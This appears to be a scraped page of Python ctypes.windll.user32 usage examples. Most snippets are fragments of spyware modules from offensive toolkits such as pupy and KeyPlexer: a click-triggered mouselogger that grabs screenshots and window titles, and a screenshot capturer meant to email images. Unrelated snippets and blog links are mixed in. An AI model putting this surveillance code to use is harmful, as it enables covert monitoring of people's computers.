Example 1

Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project 7 votes
def get_current_process():
    hwnd = user32.GetForegroundWindow()

    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    #process_id = "%d" % pid.value

    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value 

Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project 6 votes
def get_current_process():
    hwnd = user32.GetForegroundWindow()

    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    #process_id = "%d" % pid.value

    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value 

Example 3
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project 6 votes
def get_current_process():
    hwnd = user32.GetForegroundWindow()

    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    #process_id = "%d" % pid.value

    executable = create_string_buffer("\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)

    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    #return "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    return executable.value, window_title.value 

Example 4
Project: KeyPlexer   Author: nairuzabulhul   File: screenshots.py View Source Project 6 votes
def capture_screenshots(file_path): 

    """This function takes snap shots of
        the host machine and send them by email.
        Every 13 captures image, an email is sent"""

    # using DPI aware to capture a full screenshot
    user32 = windll.user32
    user32.SetProcessDPIAware()

    if not os.path.exists(file_path):
        os.mkdir(file_path)

    #counter = 0 # counter to create multiple screen shots

    #while True:

    #time.sleep(2) #evey 10 minutes
    image = ImageGrab.grab() # grab the image
    save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') +  '.jpg')
    image.save(save_as) 
Example 5
Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project 5 votes
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
Example 6
Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project 5 votes
def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.hooked  = None
        self.daemon=True
        self.lUser32=user32
        self.pointer=None
        self.stopped=False
        self.screenshots=[] 
Example 7
Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project 5 votes
def run(self):
        if self.install_hook():
            #print "mouselogger installed"
            pass
        else:
            raise RuntimeError("couldn't install mouselogger")
        msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)
        while not self.stopped:
            time.sleep(1)
        self.uninstall_hook() 
Example 8
Project: purelove   Author: hucmosin   File: mouselogger.py View Source Project 5 votes
def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title="unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass
            self.screenshots.append((str(datetime.datetime.now()), height, width, exe, win_title, base64.b64encode(buf)))
        return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)

#credit: Black Hat Python - https://www.nostarch.com/blackhatpython 
Example 9
Project: Modeling-Cloth   Author: the3dadvantage   File: ModelingCloth.py View Source Project 5 votes
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
Example 10
Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project 5 votes
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
Example 11
Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project 5 votes
def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.hooked  = None
        self.daemon=True
        self.lUser32=user32
        self.pointer=None
        self.stopped=False
        self.screenshots=[] 
Example 12
Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project 5 votes
def run(self):
        if self.install_hook():
            #print "mouselogger installed"
            pass
        else:
            raise RuntimeError("couldn't install mouselogger")
        msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)
        while not self.stopped:
            time.sleep(1)
        self.uninstall_hook() 
Example 13
Project: OSPTF   Author: xSploited   File: mouselogger.py View Source Project 5 votes
def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title="unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass
            self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf))
        return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)

#credit: Black Hat Python - https://www.nostarch.com/blackhatpython 
Example 14
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project 5 votes
def queryMousePosition():
    pt = POINT()
    windll.user32.GetCursorPos(byref(pt))
    return { "x": pt.x, "y": pt.y} 
Example 15
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project 5 votes
def __init__(self, *args, **kwargs):
        threading.Thread.__init__(self, *args, **kwargs)
        self.hooked  = None
        self.daemon=True
        self.lUser32=user32
        self.pointer=None
        self.stopped=False
        self.screenshots=[] 
Example 16
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project 5 votes
def run(self):
        if self.install_hook():
            #print "mouselogger installed"
            pass
        else:
            raise RuntimeError("couldn't install mouselogger")
        msg = MSG()
        user32.GetMessageA(byref(msg),0,0,0)
        while not self.stopped:
            time.sleep(1)
        self.uninstall_hook() 
Example 17
Project: pupy   Author: ru-faraon   File: mouselogger.py View Source Project 5 votes
def hook_proc(self, nCode, wParam, lParam):
        ##http://www.pinvoke.net/default.aspx/Constants.WM
        if wParam == 0x201:
            buf, height, width = self.get_screenshot()
            exe, win_title="unknown", "unknown"
            try:
                exe, win_title=get_current_process()
            except Exception:
                pass
            self.screenshots.append((datetime.datetime.now(), height, width, exe, win_title, buf))
        return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)

#credit: Black Hat Python - https://www.nostarch.com/blackhatpython 
Example 18
Project: KeyPlexer   Author: nairuzabulhul   File: screenshots(OLD module).py View Source Project 5 votes
def capture_screenshots(file_path): 

    """This function takes snap shots of
        the host machine and send them by email.
        Every 13 captures image, an email is sent"""

    #threading.Timer(5,capture_screenshots, [file_path]).start()

    # using DPI aware to capture a full screenshot
    user32 = windll.user32
    user32.SetProcessDPIAware()

    if not os.path.exists(file_path):
        os.mkdir(file_path)

    counter = 0 # counter to create multiple screen shots

    while True:

        time.sleep(10) #evey 10 minutes
        image = ImageGrab.grab() # grab the image
        save_as = os.path.join(file_path,'ScreenShot_' +time.strftime('%Y_%m_%d') + str(counter) + '.jpg')
        image.save(save_as)
        counter += 1

        if counter == 13:

            conn = get_current_connection()

            if conn == True :
                #print "there is 3 pics in the folder"
                #send_new_email(file_path)
                #delete_images(file_path)
                counter = 0

            else:
                continue 
Example 19
Project: servoshell   Author: paulrouget   File: build_commands.py View Source Project 5 votes
def notify_win(title, text):
    try:
        from servo.win32_toast import WindowsToast
        w = WindowsToast()
        w.balloon_tip(title, text)
    except:
        from ctypes import Structure, windll, POINTER, sizeof
        from ctypes.wintypes import DWORD, HANDLE, WINFUNCTYPE, BOOL, UINT

        class FLASHWINDOW(Structure):
            _fields_ = [("cbSize", UINT),
                        ("hwnd", HANDLE),
                        ("dwFlags", DWORD),
                        ("uCount", UINT),
                        ("dwTimeout", DWORD)]

        FlashWindowExProto = WINFUNCTYPE(BOOL, POINTER(FLASHWINDOW))
        FlashWindowEx = FlashWindowExProto(("FlashWindowEx", windll.user32))
        FLASHW_CAPTION = 0x01
        FLASHW_TRAY = 0x02
        FLASHW_TIMERNOFG = 0x0C

        params = FLASHWINDOW(sizeof(FLASHWINDOW),
                             windll.kernel32.GetConsoleWindow(),
                             FLASHW_CAPTION | FLASHW_TRAY | FLASHW_TIMERNOFG, 3, 0)

    FlashWindowEx(params)
https://www.programcreek.com/python/example/53930/ctypes.windll.user32


Python ctypes.windll.user32() Examples的更多相关文章

  1. 聊聊Python ctypes 模块(转载)

    https://zhuanlan.zhihu.com/p/20152309?columnSlug=python-dev 作者:Jerry Jho链接:https://zhuanlan.zhihu.co ...

  2. python ctypes库3_如何传递并返回一个数组

    可以将数组指针传递给dll,但无法返回数组指针,python中没有对应的数组指针类型. 如果需要返回数组,需借助结构体. 参考ctypes官方文档: https://docs.python.org/3 ...

  3. python ctypes 探究 ---- python 与 c 的交互

    近几天使用 python 与 c/c++ 程序交互,网上有推荐swig但效果都不理想,所以琢磨琢磨了 python 的 ctypes 模块.同时,虽然网上有这方面的内容,但是感觉还是没说清楚.这里记录 ...

  4. [转]python ctypes 探究 ---- python 与 c 的交互

    近几天使用 python 与 c/c++ 程序交互,网上有推荐swig但效果都不理想,所以琢磨琢磨了 python 的 ctypes 模块.同时,虽然网上有这方面的内容,但是感觉还是没说清楚.这里记录 ...

  5. python ctypes小例子

    import time import ctypes import ctypes.wintypes SEE_MASK_NOCLOSEPROCESS = 0x00000040 SEE_MASK_INVOK ...

  6. [Python]ctypes+struct实现类c的结构化数据串行处理

    1. 用C/C++实现的结构化数据处理 在涉及到比较底层的通信协议开发过程中, 往往需要开发语言能够有效的表达和处理所定义的通信协议的数据结构. 在这方面是C/C++语言是具有天然优势的: 通过str ...

  7. python ctypes

    official tutorial for ctypes libhttps://docs.python.org/3/library/ctypes.html 1 ctypes exports the c ...

  8. Python ctypes 在 Python 2 和 Python 3 中的不同 // 使用ctypes过程中问题汇总

    In Python 2.7, strings are byte-strings by default. In Python 3.x, they are unicode by default. Try ...

  9. Python ctypes的byref和pointer有啥区别

    byref(n)返回的相当于C的指针右值&n,本身没有被分配空间: >>> from ctypes import *>>> n = c_int(0)> ...

随机推荐

  1. week5 04 npm run build

    上期 我们完成了nodeserver的创建 用的是express genrealtor那个工具 我们在server端执行 起来了 然后我们改一下 删一下 我们觉着暂时没用的东西 首先去app.js程序 ...

  2. 18.3 redis 的安装

    因为之前我们server不存东西 我们 发现 后打开的网页 是接手不到之前的变化,不能更新到最新的变化的. 我们需要做到server给client发最新的代码已达到同步 我们有三种做法同步到最新的代码 ...

  3. UIApplication 的学习

    1.0 URL 的组成 == 协议头://主机名/路径   从iOS7 开始,系统提供了两种管理状态栏的方式,默认交给控制器去管理 2.0 旋转事件----> UIApplication --- ...

  4. MD5 算法

    MD5 Message Digest Algorithm MD5(中文名为消息摘要算法第 五版)为计算机安全领域广泛使用的一种散列函数,用以提供消息的完整性保护.该算法的文件号为RFC 1321(R. ...

  5. 移植ok6410 LCD驱动

    1.本次移植过程选择 linux-2.6.28 lcd驱动为参考移植到 linux-2.6.34 ok6410 开发板上. 2.移植过程 主要以给内核增加驱动的思想,在/driver/video/ 下 ...

  6. java-学习5

    基础运算与自增自减运算 1.基础运算 int 整型 double 浮点 package day06; public class operation { public static void main( ...

  7. linux下WIFI的AP搜索、连接方法

    wpa_supplicant -Dwext -ieth1 -c/etc/wpa_supplicant.conf  &wpa_cli save_configwpa_cli reconfigure ...

  8. 2017面向对象程序设计(Java) 第4周学习指导及要求(2017.9.14-2017.9.18)

    学习目标 深入理解程序设计中算法与程序的关系: 深入理解java程序设计中类与对象的关系: 理解OO程序设计的第一个特征:封装: 需要掌握基本使用方法的预定义类有:Math类.String类.Arra ...

  9. Java多态面试题案例几解题思路

    ---恢复内容开始--- Java多态面试题案例几解题思路 这道题是来自别人,先开始看到题很懵,后来有自己的思路: class A { public String show(D obj){ retur ...

  10. metadata信息的采集

    exiftool可以查看图片的信息.可以获得照片的相关信息,甚至是GPS定位信息.